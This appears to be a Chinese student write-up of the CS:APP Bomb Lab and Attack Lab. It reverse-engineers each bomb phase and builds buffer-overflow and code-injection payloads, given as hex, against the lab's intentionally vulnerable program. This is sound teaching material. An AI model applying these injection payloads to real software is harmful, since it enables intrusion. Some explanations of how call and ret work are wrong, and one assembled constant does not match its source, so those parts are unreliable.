可以看到这里的前两个参数就对应着C语言中的代码. 最后函数会将字符串中的 6 个整数提取出来(恐怕这也是这段函数名为read_six_numbers的原因)

sscanf返回后, $eax中保存着提取的整数个数, 紧接着会进行比较是否大于5, 如果不是就会触发炸弹.

read_six_numbers返回到phase_2后, 会进入密码的验证阶段.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0000000000400efc <phase_2>:
400efc: 55 push %rbp
400efd: 53 push %rbx
400efe: 48 83 ec 28 sub $0x28,%rsp
400f02: 48 89 e6 mov %rsp,%rsi
400f05: e8 52 05 00 00 callq 40145c <read_six_numbers>
#### 程序从这里返回
400f0a: 83 3c 24 01 cmpl $0x1,(%rsp)
400f0e: 74 20 je 400f30 <phase_2+0x34>
400f10: e8 25 05 00 00 callq 40143a <explode_bomb>
400f15: eb 19 jmp 400f30 <phase_2+0x34>
400f17: 8b 43 fc mov -0x4(%rbx),%eax
400f1a: 01 c0 add %eax,%eax
400f1c: 39 03 cmp %eax,(%rbx)
400f1e: 74 05 je 400f25 <phase_2+0x29>
400f20: e8 15 05 00 00 callq 40143a <explode_bomb>
400f25: 48 83 c3 04 add $0x4,%rbx
400f29: 48 39 eb cmp %rbp,%rbx
400f2c: 75 e9 jne 400f17 <phase_2+0x1b>
400f2e: eb 0c jmp 400f3c <phase_2+0x40>
400f30: 48 8d 5c 24 04 lea 0x4(%rsp),%rbx
400f35: 48 8d 6c 24 18 lea 0x18(%rsp),%rbp
400f3a: eb db jmp 400f17 <phase_2+0x1b>
400f3c: 48 83 c4 28 add $0x28,%rsp
400f40: 5b pop %rbx
400f41: 5d pop %rbp
400f42: c3 retq

cmpl $0x1,(%rsp) , 在调试器中跟进很容易发现这里是把我们输入的第一个整数和1比较, 得出第一个数字是 1. 如果这里正确的话, 会跳转至400f30, 随后进入一段迭代.

仔细分析迭代的代码, 会发现每次决定我们生死的指令为

1
2
3
400f17:	8b 43 fc             	mov    -0x4(%rbx),%eax
400f1a: 01 c0 add %eax,%eax
400f1c: 39 03 cmp %eax,(%rbx)

通过跟进调试器, 这段迭会通过$rbx$rbp两个寄存器组成一对上下标来访问访问处于栈中的我们的6个整数, 并且在每轮迭代使寄存器$eax的值等于上个整数的值再×2. 那么为了每次的判断为真, 需要前后两个整数差一倍, 规律就出来了, 即 1, 2 ,4 ,8, 16, 32.

phase_3

这道题先看phase_3的前几行汇编.

1
2
3
4
5
6
7
8
9
10
11
12
0000000000400f43 <phase_3>:
400f43: 48 83 ec 18 sub $0x18,%rsp
400f47: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
400f4c: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
400f51: be cf 25 40 00 mov $0x4025cf,%esi
400f56: b8 00 00 00 00 mov $0x0,%eax
400f5b: e8 90 fc ff ff callq 400bf0 <__isoc99_sscanf@plt>
400f60: 83 f8 01 cmp $0x1,%eax
400f63: 7f 05 jg 400f6a <phase_3+0x27>
400f65: e8 d0 04 00 00 callq 40143a <explode_bomb>
400f6a: 83 7c 24 08 07 cmpl $0x7,0x8(%rsp)
400f6f: 77 3c ja 400fad <phase_3+0x6a>

这里也有isoc99_sscanf, 通过查看常量和使用调试器跟进, 发现是读取两个整数.

sscanf返回回来后, $eax与常量 1 比较, 可知至少要输入 2 个数字.

cmpl $0x7,0x8(%rsp) 可知输入的第一个数要小于等于7.

然后会进入一个switch的环节.

400f75: ff 24 c5 70 24 40 00 jmpq *0x402470(,%rax,8)

跳转地址的公式为 : 0x402470 + ($rax * 8) 就形成了一个类似switch case的功能. $rax在这里存放的是我输入的第一个数字.

我在这里遇到的一个问题是, 在通过调试器跟进时, 发现哪条指令都没对$rax进行操作, 莫名其妙的最后就成了我输入的第一个数字. 后来才知道rax(64位)eax(32位)是共享32位的, 对eax的操作约等于rax(不溢出的前提下).

进入swtich后, 程序会对 eax 再赋某一个常量, 最后再把它和我们输入的第二个数比较, 相等就成了. 所以这道题的答案不唯一, 只要进到的分支能和最后的输入匹配上就好了.

phase_4

先看汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
000000000040100c <phase_4>:
40100c: 48 83 ec 18 sub $0x18,%rsp
401010: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
401015: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
40101a: be cf 25 40 00 mov $0x4025cf,%esi
40101f: b8 00 00 00 00 mov $0x0,%eax
401024: e8 c7 fb ff ff callq 400bf0 <__isoc99_sscanf@plt>
401029: 83 f8 02 cmp $0x2,%eax
40102c: 75 07 jne 401035 <phase_4+0x29>
40102e: 83 7c 24 08 0e cmpl $0xe,0x8(%rsp)
401033: 76 05 jbe 40103a <phase_4+0x2e>
401035: e8 00 04 00 00 callq 40143a <explode_bomb>
40103a: ba 0e 00 00 00 mov $0xe,%edx
40103f: be 00 00 00 00 mov $0x0,%esi
401044: 8b 7c 24 08 mov 0x8(%rsp),%edi
401048: e8 81 ff ff ff callq 400fce <func4>
40104d: 85 c0 test %eax,%eax
40104f: 75 07 jne 401058 <phase_4+0x4c>
401051: 83 7c 24 0c 00 cmpl $0x0,0xc(%rsp)
401056: 74 05 je 40105d <phase_4+0x51>
401058: e8 dd 03 00 00 callq 40143a <explode_bomb>
40105d: 48 83 c4 18 add $0x18,%rsp
401061: c3 retq

还是用的sscanf来提取输入的整数, 且这次只能输入两个.

这道题强烈推荐使用 ida 的生成伪代码的功能.

phase_4 :

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall phase_4(__int64 a1)
{
__int64 result; // rax
unsigned int v2; // [rsp+8h] [rbp-10h]
int v3; // [rsp+Ch] [rbp-Ch]

if ( (unsigned int)__isoc99_sscanf(a1, "%d %d", &v2, &v3) != 2 || v2 > 0xE )
explode_bomb();
result = func4(v2, 0LL, 14LL);
if ( (_DWORD)result || v3 )
explode_bomb();
return result;
}

func4 :

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall func4(__int64 a1, __int64 a2, __int64 a3)
{
signed int v3; // ecx
__int64 result; // rax

v3 = ((signed int)a3 - (signed int)a2) / 2 + a2;
if ( v3 > (signed int)a1 )
return 2 * (unsigned int)func4(a1, a2, (unsigned int)(v3 - 1));
result = 0LL;
if ( v3 < (signed int)a1 )
result = 2 * (unsigned int)func4(a1, (unsigned int)(v3 + 1), a3) + 1;
return result;
}

分析代码可知, 最简单的一种情况就是 fun4 中的两个if分支都不要进入(不然会进入递归), 那么也就是需要 v3 = a1, 即a1 = ((signed int)a3 - (signed int)a2) / 2 + a2, 其中 a1 为输入的第一个数, a2=0, a3=14. 计算得出a1 = 7.
且由 phase_4 中的代码, 输入的第二个数(v3)一定是0.
那么一组答案就是 7 0.

但是刚才并没有考虑进入递归的情况, 如果考虑递归, 可以把这段代码写成C语言的程序, 将第一个输入从0 到 14遍历.

phase_5

ida 伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall phase_5(__int64 a1)
{
__int64 v1; // rax
char v3[6]; // [rsp+10h] [rbp-18h]
char v4; // [rsp+16h] [rbp-12h]
unsigned __int64 v5; // [rsp+18h] [rbp-10h]

v5 = __readfsqword(0x28u);
if ( (unsigned int)string_length((_BYTE *)a1) != 6 )
explode_bomb(a1);
v1 = 0LL;
do
{
v3[v1] = array_3449[*(_BYTE *)(a1 + v1) & 0xF];
++v1;
}
while ( v1 != 6 );
v4 = 0;
if ( (unsigned int)strings_not_equal(v3, "flyers") )
explode_bomb(v3);
return __readfsqword(0x28u) ^ v5;
}

由代码和使用调试器分析可知, 每次我们输入的字符串input的各位会被取出来和0xF相与, 结果会被作为字符串source = " aduiersnfotvbyl"的下标index = input[i]&0xF. 注意source的第一个字符为空格.
再根据此下标index取出字符串中的相应字符source[index]保存于另一个字符串result中, 只有最后result = "flyers"才算成功.

用下面的表可以得出 password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
source:
a d u i e r s n f o t v b y l

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

0x0 ....... 0xa 0xb 0xc 0xd 0xe 0xf

target:
f l y e r s

9 15 14 5 6 7

0x39 0x3f 0x3e 0x35 0x36 0x37

password:
9 ? > 5 6 7

phase_6

仍然用 IDA 生成了伪代码

  • 第一部分:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    v1 = &v15;
    read_six_numbers(a1, &v15);
    v2 = 0;
    while ( 1 )
    {
    if ( (unsigned int)(*(_DWORD *)v1 - 1) > 5 )
    explode_bomb(a1, &v15);
    if ( ++v2 == 6 )
    break;
    v3 = v2;
    do
    {
    if ( *(_DWORD *)v1 == *((_DWORD *)&v15 + v3) )
    explode_bomb(a1, &v15);
    ++v3;
    }
    while ( v3 <= 5 );
    v1 = (__int64 *)((char *)v1 + 4);
    }

根据之前的经验, 这里是读了6个数字 , 每个数字必须小于7. 并且通过循环遍历, 确保了两两之间都不相同.

  • 第二部分:
    1
    2
    3
    4
    5
    6
    7
    v4 = &v15;
    do
    {
    *(_DWORD *)v4 = 7 - *(_DWORD *)v4;
    v4 = (__int64 *)((char *)v4 + 4);
    }
    while ( v4 != &v16 );

这里把我们输入的每个数都改为了 7 与此数的差.

  • 第三部分:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    do
    {
    v8 = *(_DWORD *)((char *)&v15 + v5);
    if ( v8 <= 1 )
    {
    v6 = &node1;
    }
    else
    {
    v7 = 1;
    v6 = &node1;
    do
    {
    v6 = (_QWORD *)v6[1];
    ++v7;
    }
    while ( v7 != v8 );
    }
    *(__int64 *)((char *)&v17 + 2 * v5) = (__int64)v6;
    v5 += 4LL;
    }
    while ( v5 != 24 );

这里有个变量名为 node.
通过在调试器中分析, 弄清楚了其本质是结构体, 推测定义为:

1
2
3
4
5
struct node{
int num;
int value;
struct node *next;
}

调试器中内存的值:

所以这部分代码会通过我们输入的序号取出对应的node并依次排列.

  • 第四部分:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    while ( v5 != 24 );
    v9 = v17;
    v10 = &v18;
    for ( i = v17; ; i = v12 )
    {
    v12 = *v10;
    *(_QWORD *)(i + 8) = *v10;
    ++v10;
    if ( v10 == &v19 )
    break;
    }

这部分代码应该是把新排列的 node 的指针相连接. 不过对后面的题目影响似乎不是很大.

  • 第五部分:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    *(_QWORD *)(v12 + 8) = 0LL;
    v13 = 5;
    do
    {
    result = **(unsigned int **)(v9 + 8);
    if ( *(_DWORD *)v9 < (signed int)result )
    explode_bomb(a1, &v19);
    v9 = *(_QWORD *)(v9 + 8);
    --v13;
    }
    while ( v13 );
    return result;

这里把六个新排好序的节点按内存中相邻的顺序检查是否前一个的value大于后一个, 如果不是就会爆炸.

这六个的值分别是

1
2
node1 node2 node3 node4 node5 node6
0x14c 0x0a8 0x39c 0x2b3 0x1dd 0x1bb

排序后就是3 4 5 6 1 2

加上之前那 “7 减”的操作, 就成了4 3 2 1 6 5, 即为 password.

attack lab

进行三次代码注入攻击!

任务一

目标: 通过gets()函数的栈溢出漏洞, 利用输入的字符串覆盖栈外的 retaddr 为某个地址, 使程序运行一段通常情况下不会执行的代码, 也就是retaddr所保存的新的地址值处的代码.

使用调试器, 查看反编译的汇编代码, 发现sub $0x28,%rsp可知栈的大小.

如果用 IDA 查看栈的结构. getbuf()函数的反汇编伪代码为:

1
2
3
4
5
6
7
unsigned int __cdecl getbuf()
{
char buf[32]; // [rsp+0h] [rbp-28h]

Gets(buf);
return 1;
}

这里有个小细节, char bur[]后面标注的是[rsp+0h] [rbp-28h]这个内存范围. 也就是这片函数栈帧的2*16+8=40字节大小. 然而下标处却写的是32(字节). 还有8 byte 存放的是原先的 ebp 的值.

此处的函数栈结构应为:

1
2
3
4
5
6
7
8
9
10
               +-----------------+
| retaddr |
+-----------------+
| saved ebp |
rbp -> +-----------------+
| buf[24:32] |
| buf[16:24] |
| buf[8:16] |
| buf[0:8] |
rbp-32, rsp -> +-----------------+

如果要让数据溢出到retaddr, 需要构造payload = 'a'*32 + 'b'*8 + targetaddr.

再查看下touch1的函数地址, 为0x00 00 00 00 00 40 17 C0. 考虑到大端序到小端序的转换应为0x00 00 00 00 c0 17 40 00.

hex2raw工具进行不可见字符的输入, 构造文本文件例如:

1
2
3
4
5
6
7
8
9
10
11
/*       'a'*32       */
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
/* 'b'*8 */
65 65 65 65 65 65 65 65
/* target address */
c0 17 40 00 00 00 00 00
/* \n */
0a

跑一下, 没有问题.

任务二

这个任务需要在调用touch2后进入if为真的分支中, 这需要满足条件val==cookie.

根据指导书中的提示, val作为调用函数的参数, 它的值是被保存在寄存器$rdi中的. 也就是在实现地址跳转到touch2的同时还要想办法修改寄存器的值.

成功的流程应该为 :

  1. getbuf()中栈溢出.
  2. 设置$rdi的值为cookie.
  3. 跳转到touch2()
  4. 进入if(true), 调用validate()

所以关键就是如何栈溢出后能设置寄存器的值, 并且再跳转到touch2()

解决的方法是注入指令代码: 通过把ret的地址值覆盖为栈顶的指针(也就是我们字符串的首地址), 能够让字符串(的二进制对应机器码)作为指令运行起来.

通过注入指令修改寄存器$rdi的值很容易实现, 只要一个mov指令就可以了. 那么如何通过指令跳转到目标的地址呢? 为了这个疑问, 我又在书上和网上查找了很多资料, 最后搞清楚了这个问题. 在普通的函数调用执行call指令时, 程序会记录下call的下一条指令的地址来使将来能返回到正确的地址. 不过这一步并非是编译器来完成, 而是CPU负责的, CPU在执行ret时, 会将$ip(程序计数器)的值压入栈中, 也就形成了如图的retaddr.

1
2
3
4
5
6
7
8
9
10
               +-----------------+
| retaddr |
+-----------------+
| saved ebp |
rbp -> +-----------------+
| buf[24:32] |
| buf[16:24] |
| buf[8:16] |
| buf[0:8] |
rbp-32, rsp -> +-----------------+

当CPU执行ret前, 编译器会先执行sub %rsp, 也就是将$rsp的值设为retaddr这部分内存的地址, 再执行ret, CPU会将rsp中的值赋给寄存器$ip, 这样程序的指令就会从调用前的位置继续执行. 换言之, 如果执行ret指令时$rsp所指向的位置的值不是一个有效的指令地址, 那么程序一定会出错的.

言归正传, 理解了这些就好办了. 只要先push一下, 让$rsp再向下移动一个单位,同时向此处写入要跳转的地址, 然后ret就可以实现了, 先写出汇编语言 :

1
2
3
movq    $0x59b997fa, %rdi
pushq 0x4017ec
ret

使用gcc将这几行代码编译为机器指令后再用 objdump 反汇编出字节码:

1
2
3
0:   48 c7 c7 fa 97 69 59    mov    $0x596997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq

把这段字节码写入 payload 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* 指令 */
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
31 31 31
/* 占位 */
31 31 31 31
31 31 31 31
31 31 31 31
31 31 31 31

65 65 65 65
65 65 65 65
/* 栈顶 */
78 dc 61 55
00 00 00 00
0a

  • 一开始的错误思路 :
    • 企图尝试直接插入能修改rip寄存器的代码实现跳转, 不成.
    • 误认为 ret 每次都会将同一内存地址的值赋值给$rip, 事实上因为pop弹出的是栈顶的值, 所以并非同一地址.

任务三

首先要先明确思路. 这个任务应该通过栈溢出进入touch3并且进入validate(3)所在的if分支. 这也必须满足条件hexmatch(cookie, sval)为真. sval是调用touch3时传入的参数, 变量类型是char指针. 这里可以通过类似任务二中的方法来修改这个指针保存的地址到我们注入的payload字符串所在的地址. 但是问题的关键在于, 当进入touch3后, 程序调用了hexmatch()这个函数. 由于在进入validategetbuf函数已经完成了退栈操作, 那么hexmatch()这个函数的帧栈一定会把之前getbuf函数帧栈所在的地址覆盖掉, 因为char cbuf[110]申请了110个字节的大小, 更不用说之后还有sprintfstrncmp这两个函数. 那么这样就会被把我们注入的字符串的值破坏掉, 就算把 sval 的指针指向这里也没用. 所以成功的关键在于把这个字符串保存在安全的地址中. 由栈的结构可知, 后来调用的函数必然不会覆盖调用者的地址, 所以getbuf之前的地址绝对是安全的, 且通过溢出能被我们修改. 也就是说, 这次的构造的注入的字符串还需要更长一些, 溢出到test函数中.

除此之外, 还应该构造出能满足分支条件的字符串. hexmatch(unsigned val, char *sval)的作用于在其中调用的sprintf(s, "%.8x", val)strncmp(sval, s ,9)这两个函数有关. 前一个函数在这里的作用是将参数val格式化为字符串并且保存在 s 中, %.8x指明了val是一个八位的16进制数. 而strncmp(sval, s ,9)顾名思义就是将这两个字符串的前9位进行比较(比8位多一位是要考虑结束符’\0’), 如果相同返回 0. 显然这里为了程序正确执行是需要返回 0 的. 那么构造字符串也简单了, 就根据cookie 的值来翻译成对应字符就行了. 但是在运行程序时因为是从hex2raw中读取, 所以还是需要提前再转为16进制码的.

设置跳转指令的部分和任务二没什么区别, 这样就可以写出汇编代码并且反编译了.

1
2
3
68 fa 18 40 00          pushq  $0x4018fa
48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
c3 retq

构造注入的字符串的十六进制编码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 指令 */
68 fa 18 40 00 48 c7
c7 a8 dc 61 55
c3
/* 占位 */
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00
/* 栈顶 */
78 dc 61 55 00 00 00 00
/* 存放的字符串 */
35 39 62 39 39 37 66 61

运行后成功PASS.